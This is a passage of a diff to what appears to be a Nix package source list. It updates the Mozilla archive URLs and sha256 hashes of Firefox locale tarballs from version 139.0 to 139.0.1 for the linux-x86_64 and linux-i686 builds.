-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/my/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/my/firefox-139.0.1.tar.xz";
       locale = "my";
       arch = "linux-x86_64";
-      sha256 = "f1c54b2641e28d9a44ad1f0df9bca599fd00b9644c8655f6d52552f821fd3a5e";
+      sha256 = "004a93603fa6eb4d05b8e8e49cfca9f72522495850f7bdf80b0c07314b9a0819";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/nb-NO/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/nb-NO/firefox-139.0.1.tar.xz";
       locale = "nb-NO";
       arch = "linux-x86_64";
-      sha256 = "4ad13b8fc48d6ad5a248cdf2a17543490c4c2c4419bf009aaf6149d18158e0dc";
+      sha256 = "d7c26672a5589ca6b7f4f7b08c3b0b33f722e6be5ae4f4fcad0e4e5fbd771689";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/ne-NP/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/ne-NP/firefox-139.0.1.tar.xz";
       locale = "ne-NP";
       arch = "linux-x86_64";
-      sha256 = "daf48cc5f1aa49ea2981d3ef525734a0ecab6dc9472c48ab4cb37595edf12f22";
+      sha256 = "d1a9a80c5919632c78fb8e51fbb750eac3c17cd369771ae4cf3291b2f5a07d97";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/nl/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/nl/firefox-139.0.1.tar.xz";
       locale = "nl";
       arch = "linux-x86_64";
-      sha256 = "84d6f492526e7d50d820a30e46506a4fba7d974e0ebcf32121d22ace9c31061b";
+      sha256 = "822ee67f7d9dca15b9661ab2706840ed5a057cbdd99d398620c713398ccfb496";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/nn-NO/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/nn-NO/firefox-139.0.1.tar.xz";
       locale = "nn-NO";
       arch = "linux-x86_64";
-      sha256 = "a8dd9fcd7a095f8f6c4ef34f80d6d4e89c8d79709bf7af1978a20fe62bb00777";
+      sha256 = "32a73765b1c74d38a38a7e8d64248f89b330c71acf632719bc7b7766727715af";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/oc/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/oc/firefox-139.0.1.tar.xz";
       locale = "oc";
       arch = "linux-x86_64";
-      sha256 = "ced183e9cc067b4fde0c81082a78ceea7ac8bf9d5491b8fe6ede0142fedff8d3";
+      sha256 = "45d3b696a9cd7a48ad429a7bcf94b5954341d44286b87bf95d6bfe05c31e9de9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/pa-IN/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/pa-IN/firefox-139.0.1.tar.xz";
       locale = "pa-IN";
       arch = "linux-x86_64";
-      sha256 = "fbeeabef8d421e03e7f10e60a03f2fff29f8d432c0385c4f49c63f3c0c168191";
+      sha256 = "30e78f06834e64f85f78202b37f1d8e99a92c1893cb9e5cd53083fb609ba99b9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/pl/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/pl/firefox-139.0.1.tar.xz";
       locale = "pl";
       arch = "linux-x86_64";
-      sha256 = "889d87d15237b582db0bd5117d3eec2adef8e6b06d59b7098e696e8e19ea8e2b";
+      sha256 = "2a386637a6747e2d31fb0f5269af67ea2540436b8ea655527dccfd281c198660";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/pt-BR/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/pt-BR/firefox-139.0.1.tar.xz";
       locale = "pt-BR";
       arch = "linux-x86_64";
-      sha256 = "e008a36e1884fcbeec4e6075918bcf351a4d8c20da4287572c5042b7b7b48068";
+      sha256 = "79e7285dcb77bee9c54f45bf66f376002fbf3796e76f335151a617597d935431";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/pt-PT/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/pt-PT/firefox-139.0.1.tar.xz";
       locale = "pt-PT";
       arch = "linux-x86_64";
-      sha256 = "08c0ff51e0d72fe591593f6de779f1ce49983835a2901d5eb27bfd1aa6ad766a";
+      sha256 = "93cdd703ea7aa0b4571e2a7cba8aee1e48c81e37fe5f8e28c4d2499babf13cbb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/rm/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/rm/firefox-139.0.1.tar.xz";
       locale = "rm";
       arch = "linux-x86_64";
-      sha256 = "d60a79ebbbbb8c4102373aada622c666f5fe64e4cfd768495e58615017ae20eb";
+      sha256 = "68adac4215430e27de94af7b28dc0f96f4618c221a4e820cc1fc2c6ce2ff13a1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/ro/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/ro/firefox-139.0.1.tar.xz";
       locale = "ro";
       arch = "linux-x86_64";
-      sha256 = "c64b48d6186b5ebddcc33e298bb32e0a066c2250c62bec6272e63a247120b0ea";
+      sha256 = "722480295bd52b05f4bf155d234a9f6ffeb031f80c5363aa44971f6b76296e28";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/ru/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/ru/firefox-139.0.1.tar.xz";
       locale = "ru";
       arch = "linux-x86_64";
-      sha256 = "67147d216a06fafb6788a3401e14e4faeb7fad65142708ca9e1a66d47ff58108";
+      sha256 = "e261ec1650b3c345998f809805d93f7f32c25480efe0ba37158b44a7ba398a69";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/sat/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/sat/firefox-139.0.1.tar.xz";
       locale = "sat";
       arch = "linux-x86_64";
-      sha256 = "fef644903c31ac92d0321bf8bc535302dffa9aa6ed53d87c4acb7ad1ab7eb64f";
+      sha256 = "850beb7ddf0eebab3c89a85a5ac16ad4598d355e8065ba9218f22cc9c653e084";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/sc/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/sc/firefox-139.0.1.tar.xz";
       locale = "sc";
       arch = "linux-x86_64";
-      sha256 = "8549b061f88d772f7264f532467b3020cecc9dbdcf42c0523d700aff3cedfc1b";
+      sha256 = "cc1886fa8333f41b409f21a30608571731ad86e215816dc318066e13357c3ee4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/sco/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/sco/firefox-139.0.1.tar.xz";
       locale = "sco";
       arch = "linux-x86_64";
-      sha256 = "7a8a4d91b0a50b94a7d3131a62d5f7182b72322fdabe87b64404384ec6ec231c";
+      sha256 = "7e1aa53c0d7286726940e6e034ee0c73c2ad1de3407003bbe56ee9425c352b99";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/si/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/si/firefox-139.0.1.tar.xz";
       locale = "si";
       arch = "linux-x86_64";
-      sha256 = "be98d369abd1ce4142ca7546fa6e4693cf8f117365312ff7e6b5769c36516c42";
+      sha256 = "08d28d4fa7a479c7342757a0ce1c4c739248643839f8effaaae17a40f9fff922";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/sk/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/sk/firefox-139.0.1.tar.xz";
       locale = "sk";
       arch = "linux-x86_64";
-      sha256 = "34a578971ae81a3d674aeb879acc264ba5f21476272223b6c71876cdbb684231";
+      sha256 = "a16b64ad14f4afdeb03ad067cf191331c6e768185e2335299b8811d3268a337a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/skr/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/skr/firefox-139.0.1.tar.xz";
       locale = "skr";
       arch = "linux-x86_64";
-      sha256 = "51ad118f8c0be27bdbb27fabfd17ba3fc1c0aca91b742cbab93a4277e0f60ad7";
+      sha256 = "a17345215dfd4c8f84ae90a2b8319c8733fd4bd1f65398867d8f160b35595c4d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/sl/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/sl/firefox-139.0.1.tar.xz";
       locale = "sl";
       arch = "linux-x86_64";
-      sha256 = "f228535fbb29ebc43e422ecfdb505c908df65cd7b15a1f86c6c85353c313494a";
+      sha256 = "207b5c912db4a45848aef0f62edfcbd5ad16c3d21daf1207f4099726fdf1f0d5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/son/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/son/firefox-139.0.1.tar.xz";
       locale = "son";
       arch = "linux-x86_64";
-      sha256 = "05b5574bf2d4311bdd0d8757ed73871709a5b125aa7f2ea67676e60483c30ff3";
+      sha256 = "25aee28a370f27571f13238d81396363b0261e2fd3fccf81f00cbfd6568e7a59";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/sq/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/sq/firefox-139.0.1.tar.xz";
       locale = "sq";
       arch = "linux-x86_64";
-      sha256 = "89b9d0f8f521f8408bd9f020693b99617f9f86945783c054b23c321640a7f6e7";
+      sha256 = "816e70168f783c76b7da3b2c0d62a440e681a4377ff6d381c21aadce559acc6e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/sr/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/sr/firefox-139.0.1.tar.xz";
       locale = "sr";
       arch = "linux-x86_64";
-      sha256 = "c258a0b6e528c9d10d9cf5f7bc88e95be3b1182c71c95b06576d0b4b17286a88";
+      sha256 = "71c9b81a9a98bb5b0f5cbb1d4bffe5d38652f0e6597d7f746fb20fa6ca5d60d5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/sv-SE/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/sv-SE/firefox-139.0.1.tar.xz";
       locale = "sv-SE";
       arch = "linux-x86_64";
-      sha256 = "4a1dd6dfd020c55ec36f1d76a1c71d47a1f8c11cbddcf99acf66f7fdbca8d318";
+      sha256 = "4f0c25b3d37dfdcd78c08e4c610dd605d4587fb32a618bf02dc260a974ce60ee";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/szl/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/szl/firefox-139.0.1.tar.xz";
       locale = "szl";
       arch = "linux-x86_64";
-      sha256 = "bb0f418f80e04e7ed6bd8fa51356667bd095a105b273615e13d957f50ba603b6";
+      sha256 = "1061a6dbc76d2ca70a09636d8dca724d7b66cd4dcc9f80b144dc77eb12380f7e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/ta/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/ta/firefox-139.0.1.tar.xz";
       locale = "ta";
       arch = "linux-x86_64";
-      sha256 = "bbd26b2659a375ed9810139a618181f1a5658b6a9a44f79c7575e290a75efca9";
+      sha256 = "e8fe9b50026febcdb600d3e825ee80b3d832f6dfd404334db09a296ae8fbaed0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/te/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/te/firefox-139.0.1.tar.xz";
       locale = "te";
       arch = "linux-x86_64";
-      sha256 = "991665af81bfea372295d0bc053c9569544a0942e5dee1c812b802573af34dea";
+      sha256 = "84e8d2fca89f772852acef8e055f8c2fe648b553fcd948206c61212387151c86";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/tg/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/tg/firefox-139.0.1.tar.xz";
       locale = "tg";
       arch = "linux-x86_64";
-      sha256 = "d815dd158de68813e7ff3f6f100ac81f0094d91ef437c69bc4ba54fda60a3755";
+      sha256 = "df59bfe8b7b0c046c41d752394513d958ad22873c48e5d387ef012c5eb5e3f24";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/th/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/th/firefox-139.0.1.tar.xz";
       locale = "th";
       arch = "linux-x86_64";
-      sha256 = "7427760fadee60078e2d85047c4863579dece7ccc8a6bae2a52f4b15715e367c";
+      sha256 = "e98a80c45a5df3004e4f7643bdd81a8cad4b78b898ae12782d197118a2b8efb8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/tl/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/tl/firefox-139.0.1.tar.xz";
       locale = "tl";
       arch = "linux-x86_64";
-      sha256 = "d0600d497dc6a5f6c798f7467e781468eff3aff74307bfccbddb398a4a75c291";
+      sha256 = "f92e9564fe26faf2f0e2e63e45b10144b3edcb7f9756a72c0ea78cf51145d924";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/tr/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/tr/firefox-139.0.1.tar.xz";
       locale = "tr";
       arch = "linux-x86_64";
-      sha256 = "83336619a14bd6b0e4aae723c251db8002516b1cc69573d6954d5c9484dac501";
+      sha256 = "460cbbac0c082747d0f6ea127473f6dfc71be8e715576414961fe4cea53a5628";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/trs/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/trs/firefox-139.0.1.tar.xz";
       locale = "trs";
       arch = "linux-x86_64";
-      sha256 = "6523751118776e7311a2bf63a64669ba4eb115d216f55ce353d5ff3148fa8b3c";
+      sha256 = "6bd7ef58f999e8847970eab629fc343a2565662e6392e3badbde20f4d6ee259d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/uk/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/uk/firefox-139.0.1.tar.xz";
       locale = "uk";
       arch = "linux-x86_64";
-      sha256 = "936aa7e292b3ce731499ece4245f39e7dc53a9072852f0a9fa2d7fee84bca433";
+      sha256 = "8bfda5a3f6bf15c2f2ce52346ebb97297da25090edd819f4400d3841bdf9a56d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/ur/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/ur/firefox-139.0.1.tar.xz";
       locale = "ur";
       arch = "linux-x86_64";
-      sha256 = "0b63faf81f96a044ad643d4d2339b7fb5667106413967cb85e262a9af12d9a24";
+      sha256 = "d1030ed4a5ca208c78f878a82f4027bcbc1ed0bf8da416fdd3e0061027c0fac8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/uz/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/uz/firefox-139.0.1.tar.xz";
       locale = "uz";
       arch = "linux-x86_64";
-      sha256 = "912f907d13b186c6ef73f71768136494c86488351207327ea87f36b4b302d5ec";
+      sha256 = "5441f193a9af2fa56a676b2ec9ac79a0630145af04441bd3c3ea2bc287216926";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/vi/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/vi/firefox-139.0.1.tar.xz";
       locale = "vi";
       arch = "linux-x86_64";
-      sha256 = "997afe984f40e39114445b94e60dad299a302faaf55c2f05b074c35910445e81";
+      sha256 = "00073389b9e049e3318f61f880167a1f4b37bfb9f4eeb671711dd638bb20141d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/xh/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/xh/firefox-139.0.1.tar.xz";
       locale = "xh";
       arch = "linux-x86_64";
-      sha256 = "747890f9780ae3fbaf7573495f89a01aaf341bb9bbc1201dbd972cf64747ecda";
+      sha256 = "bd71ac2385beae6f6fe8ce07044c403c9eab3de664bb07d26bff6bfb98f586e5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/zh-CN/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/zh-CN/firefox-139.0.1.tar.xz";
       locale = "zh-CN";
       arch = "linux-x86_64";
-      sha256 = "d03edc3d98b766fe605ccd70d875f4fe69bfbf50eb0669dd106e3bf48a6a57e1";
+      sha256 = "8f8bfeb4d826950d1ae903c7c0b9715cea351c72e7faed9fb769c084acca9b63";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/zh-TW/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/zh-TW/firefox-139.0.1.tar.xz";
       locale = "zh-TW";
       arch = "linux-x86_64";
-      sha256 = "799bb8895b5f4c1910c9e22fbeccb395387060e67e34d99e5e8c0d722e215393";
+      sha256 = "bd23be469666d3413bf5f57b3b675adf2e6e17d9c5c6b6da012cc5a0e3f190b4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/ach/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/ach/firefox-139.0.1.tar.xz";
       locale = "ach";
       arch = "linux-i686";
-      sha256 = "27178256d93f9a843891a16592d62cdfbe6687825f08e67cd908bb8c72a1f602";
+      sha256 = "d57ea35a639a93d6f8e53aa8e1272bd731fef0f162e1e5c65f968e958ce82da4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/af/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/af/firefox-139.0.1.tar.xz";
       locale = "af";
       arch = "linux-i686";
-      sha256 = "292aa67b9e8e7a4b3716f70c82af78ff81e8301f6ccc130865d1573edf2ce7d3";
+      sha256 = "855adfd79d3a16aba4cea8ad85295fc5b553cebca558223f10b1ed2738cfd828";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/an/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/an/firefox-139.0.1.tar.xz";
       locale = "an";
       arch = "linux-i686";
-      sha256 = "b07a21ff873eef36722b3d79e77edb5fc112fd63013fe96fa2e55e4a38240055";
+      sha256 = "6bcb30d4f8971819fa3944773f19b0da8e81c55bd9616e942ecee5156f2c66be";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/ar/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/ar/firefox-139.0.1.tar.xz";
       locale = "ar";
       arch = "linux-i686";
-      sha256 = "7d4b96f67348ca1f40407e7a8ee98d7ec5d10291c90b6ac969b38b6cb5a92838";
+      sha256 = "b6e35885d5791461d2a8455cdcd3693ff9eccae90393c1bf658c63aa185d01b1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/ast/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/ast/firefox-139.0.1.tar.xz";
       locale = "ast";
       arch = "linux-i686";
-      sha256 = "089c7a8133cc2f5fb04091916bbc984f74df22787989cea994cdc5264c410fc9";
+      sha256 = "ed6f4985196d14eebcaf7a3e394159eb0d6df00c09073439ed807fd59a70085f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/az/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/az/firefox-139.0.1.tar.xz";
       locale = "az";
       arch = "linux-i686";
-      sha256 = "55ad66bdc51127a2a2c765afce28add1dd40a902ef52dffe04b55a4f8fea37de";
+      sha256 = "799c4aeee747108c5d6ef6c00003a167640fcd5d477590b75a6c099b52ecc32b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/be/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/be/firefox-139.0.1.tar.xz";
       locale = "be";
       arch = "linux-i686";
-      sha256 = "7d44dfbd5e22762be96ab4c9c6db184678ee353afb3fc0c59e777be49bc1d1ce";
+      sha256 = "075fa1c35244705239ad055daeb5343009b80a74b1f4fca204f451fe4dd13294";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/bg/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/bg/firefox-139.0.1.tar.xz";
       locale = "bg";
       arch = "linux-i686";
-      sha256 = "832de0a74891240375d4c9aaf2e4f682393cc843b62aae1c7f6a12f06e569fe2";
+      sha256 = "b856073a0ef47fb94b817806da9cabcf575f3ad4c7b69dd491c2ba4a2a7d8edf";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/bn/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/bn/firefox-139.0.1.tar.xz";
       locale = "bn";
       arch = "linux-i686";
-      sha256 = "e2f841caa1cf76bdb4befe94f4295e7a8c949b8b3e541df0bdfba6e18775bf88";
+      sha256 = "9aa12ef33389b7a9d81abb99347ce6f0d6911eb0c1bbc1068807800fe0373b82";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/br/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/br/firefox-139.0.1.tar.xz";
       locale = "br";
       arch = "linux-i686";
-      sha256 = "4f69d55359a55d57ac154b69d596ab6332d1ec59d181ee8b5354b1a1bfdca2b4";
+      sha256 = "bd29aba9fe802b7eb2e8d8c6b5d186f9a41d4afc8062866d57674ed75a25fd29";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/bs/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/bs/firefox-139.0.1.tar.xz";
       locale = "bs";
       arch = "linux-i686";
-      sha256 = "83736a88a39d42847e4666f5f820a56ab67965a9e7ab6f98d30384a6f82c8dca";
+      sha256 = "7d5e1a3060f748e59a46e237290d728e4ea5f82d2ca691354063e18ea27a56dc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/ca-valencia/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/ca-valencia/firefox-139.0.1.tar.xz";
       locale = "ca-valencia";
       arch = "linux-i686";
-      sha256 = "7d700106989216a0f04cd44c9512788314867d522ae0fd065a92a61f3ebcfe7d";
+      sha256 = "cb6c81e6dd880a1895b73f7d1e10c3887c13823e3b4b633ec7a3ebb81f86d7ae";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/ca/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/ca/firefox-139.0.1.tar.xz";
       locale = "ca";
       arch = "linux-i686";
-      sha256 = "e25b39229a1efb7ff778d435725ca2faf8d42911889888690832acb6aacc136c";
+      sha256 = "60953ffe23a1e2370935b74fa3669c66e6ec97f750e37817e3c0a0922a2be9b6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/cak/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/cak/firefox-139.0.1.tar.xz";
       locale = "cak";
       arch = "linux-i686";
-      sha256 = "de677e0978e072476cac48ba7bdaa0aca5ac2b16d0df111837cf2a73f4318fe5";
+      sha256 = "bc8c620ac433f24a7346b9ae503c08dee9f54005f4cafde73eea315fcc63a0ea";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/cs/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/cs/firefox-139.0.1.tar.xz";
       locale = "cs";
       arch = "linux-i686";
-      sha256 = "42557f13736303be6b71b683d8a7f211901795c9e66c358ec07a3ee84dd26c29";
+      sha256 = "42a02e26dfdc94a5e7f988a739903b08009e39bf0e5c56777029b6e7da69e8ab";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/cy/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/cy/firefox-139.0.1.tar.xz";
       locale = "cy";
       arch = "linux-i686";
-      sha256 = "d425a6348c74b897e0e160c7de25ce54eac130983d245d0fbdb7e238f6784534";
+      sha256 = "ff4f7b4012a7127dd97d5633907a463048082f22b035428552f5aaccb51beeb8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/da/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/da/firefox-139.0.1.tar.xz";
       locale = "da";
       arch = "linux-i686";
-      sha256 = "b8a1f2d0e93a82ddd862ff14cd0ecf8f3ca0471b02e13c60a3a911464de010ce";
+      sha256 = "4b713d15cbd819ab01dc3943557ccce1ddf69690e9814c0470072aa572d82526";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/de/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/de/firefox-139.0.1.tar.xz";
       locale = "de";
       arch = "linux-i686";
-      sha256 = "225b2912384163aaf3e9d499a40b17488ef8e217a052657586fc99238887334c";
+      sha256 = "01aacc8059f91ba0c5aa57110541bb888412b3c1a9eb1f81c211ad41af8dfad4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/dsb/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/dsb/firefox-139.0.1.tar.xz";
       locale = "dsb";
       arch = "linux-i686";
-      sha256 = "de325a64c55317017ceeccca944d4dde695492960236b1c0d8084efd14e05745";
+      sha256 = "4849f130f85cfaf5e9aa9f12051517510f25d75ea29bf6596d9ae06ccb63661c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/el/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/el/firefox-139.0.1.tar.xz";
       locale = "el";
       arch = "linux-i686";
-      sha256 = "8bb71398aaa2d0c129d405672858f7b1df42ba4fef9a65501858fb95e1dcaef3";
+      sha256 = "3442b9c3d6f7532c685c588052d3fd978ca677528c596c01cd4fc52346071b04";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-i686/en-CA/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-i686/en-CA/firefox-139.0.1.tar.xz";
       locale = "en-CA";
       arch = "linux-i686";
-      sha256 = "fa295f3cea1a951e96ef8bf292af2c0f169506e0950a4f4b5a43bb38e2aa35f5";
